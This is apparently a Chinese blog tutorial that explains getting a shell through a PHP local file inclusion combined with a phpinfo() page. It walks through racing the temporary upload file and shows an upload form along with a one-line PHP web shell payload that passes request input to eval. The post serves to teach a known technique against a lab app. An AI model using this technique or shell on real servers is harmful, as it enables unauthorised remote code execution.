背景

某站点存在本地文件包含及phpinfo,可以利用其执行脚本。

原理

原理: 利用php post上传文件产生临时文件,phpinfo()读临时文件的路径和名字,本地包含漏洞生成1句话后门

1.php在解析multipart/form-data请求时,会创建临时文件,并写入上传内容,脚本执行后即删除

2.phpinfo可以输出$_FILE信息

3.通过多种方式争取时间,在临时文件删除前进行执行包含

1)通过在数据报文中加入大量的垃圾数据,似phpinfo页面过大,导致phpinfo页面过大,导致php输出进入流式输出,并不一次输出完毕

2)通过大量请求来延迟php脚本的执行速度

环境复现

项目地址:http://github.com/hxer/vulnapp.git

源码存在code目录下,利用docker进行复现

漏洞利用

php上传

向服务器上任意php文件post请求上传文件时,都会生成临时文件,可以直接在phpinfo页面找到临时文件的路径及名字。

  • post上传文件

php post方式上传任意文件,服务器都会创建临时文件来保存文件内容。

在HTTP协议中为了方便进行文件传输,规定了一种基于表单的 HTML文件传输方法

其中要确保上传表单的属性是 enctype="multipart/form-data"

其中PHP引擎对enctype=”multipart/form-data”这种请求的处理过程如下:

‍1、请求到达;

‍2、创建临时文件,并写入上传文件的内容;

‍3、调用相应PHP脚本进行处理,如校验名称、大小等;

‍4、删除临时文件。

PHP引擎会首先将文件内容保存到临时文件,然后进行相应的操作。临时文件的名称是 php+随机字符 。

  • $_FILES信息,包括临时文件路径、名称

在PHP中,有超全局变量$_FILES,保存上传文件的信息,包括文件名、类型、临时文件名、错误代号、大小

手工测试phpinfo()获取临时文件路径

  • html表单

文件 upload.html

<!doctype html>
<html>
<body>
<form action="phpinfo.php" method="POST" enctype="multipart/form-data">
<h3> Test upload tmp file</h3>
<label for="file">Filename:</label>
<input type="file" name="file"/><br/>
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
  • 浏览器访问 upload.html, 上传文件 file.txt

<?php
eval($_REQUEST["cmd"]);
?>
  • burp 查看POST 信息如下

  • phpinfo获得如下信息

通过分析可见,php post上传文件时确实经历了:创建临时文件--->调用相关php脚本,在phpinfo中回显文件信息--->删除临时文件

ps: 发现inotifywait确实是款好工具,它可以实时监测linux某一文件夹下的文件的实时变化

安装:

apt-get install -y inotify-tools

使用:

inotifywait -m /tmp
 
inotifywait 命令参数说明:
-m 选项表示 monitor ,即开启监视
-r 选项表示递归监视,但是会比较慢一些,若监视/etc 目录,其中的子目录下修改文件也是能被监控到。

-e 选项指定要监控的“事件”(events)包括了:access、modify、 attrib、 close_write、 close_nowrite、close、open、 moved_to、 moved_from、move、 move_self、 create、delete、delete_self、unmount。

如果不加参数-e的话,默认就是监控所有的事件,在日常运维时,这个工具可以帮助你监控服务器上重要文件和重要目录的变化情况。

GetShell演示

参考:https://github.com/hxer/vulnapp/tree/master/lfi_phpinfo

最新文章

  1. NSFileManager计算文件/文件夹大小
  2. 关于实现Extjs动态加载类的方式实现
  3. Unity3D 学习笔记
  4. 08OC之Foundation框架
  5. java静态内部类
  6. Qt之显示网络图片(可以改成升级模块)
  7. 记录一次Jmeter性能测试
  8. android stagefright awesomeplayer 分析
  9. Javascript 拖拽的一些简单的应用——逐行分析代码,让你轻松了解拖拽的原理
  10. kindle网络爬虫续集
  11. sqlplus连接oracle问题
  12. SpringBoot多数据源配置
  13. 小白的Python之路 day4 装饰器前奏
  14. PHP奇淫技巧
  15. 浮点型数据转整型的丢失精度问题(C++)
  16. ie8兼容性总结
  17. 分析MySQL中哪些情况下数据库索引会失效
  18. 面向对象【day08】:反射的最佳实践(三)
  19. 小米造最强超分辨率算法 | Fast, Accurate and Lightweight Super-Resolution with Neural Architecture Search
  20. 《Ubuntu标准教程》学习总结

热门文章

  1. ciscn_2019_s_3
  2. how2heap libc2.31学习
  3. 数据类型Table.TransformColumnTypes(Power Query 之 M 语言)
  4. PowerDotNet平台化软件架构设计与实现系列(07):数据同步平台
  5. LuoguP7094 [yLOI2020] 金陵谣 题解
  6. VC Mirror Driver显示虚拟驱动经典开发
  7. 【LeetCode】986. Interval List Intersections 解题报告(C++)
  8. 【LeetCode】795. Number of Subarrays with Bounded Maximum 解题报告(Python & C++)
  9. 基于CA认证(结合文档在线预览)的电子签章解决方案
  10. 5分钟搭建wordpress个人博客网站——宝塔傻瓜式部署,无坑系列,附赠主题和md插件[2021-12-31]